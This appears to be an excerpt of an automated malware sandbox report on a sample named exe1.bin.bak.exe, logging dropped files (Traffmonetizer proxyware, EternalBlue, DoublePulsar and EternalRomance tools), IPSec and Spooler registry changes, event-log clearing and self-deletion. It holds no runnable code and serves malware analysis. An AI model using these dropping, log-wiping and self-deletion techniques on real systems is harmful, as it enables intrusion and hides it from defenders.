Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Wmicc.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\libeay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Temp\ctfmoon.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\dmgd-4.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\ucl.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\xdvl-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Handles.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Eternalblue-2.2.0.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\trfo-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\Windows\Temp\Hooks.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Security.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\libxml2.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\posh-0.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Doublepulsar-1.3.1.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\trch-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\tucl-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\crli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Pipes.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.X509Certificates.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Drawing.Primitives.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\coli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\x86.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	File created: C:\Windows\Logs\RunDllExe.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\exma-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Eternalromance-1.4.0.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Meson.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\tibe-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\cnli-1.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\zlib1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.MemoryMappedFiles.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\ctfmoon.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\ssleay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\netsh.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\IPSec

Jump to behavior

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Spooler

Jump to behavior

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: 0_2_00408453 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,

0_2_00408453

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File deleted: c:\users\user\desktop\exe1.bin.bak.exe

Jump to behavior

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_004124DE IsIconic,GetWindowPlacement,GetWindowRect,	0_2_004124DE
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_0040BC6C IsIconic,GetWindowPlacement,GetWindowRect,	55_2_0040BC6C
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_00404C71 IsIconic,	55_2_00404C71

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_004090B0 OpenEventLogA,ClearEventLogA,OpenEventLogA,ClearEventLogA,CloseEventLog,

29_2_004090B0

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
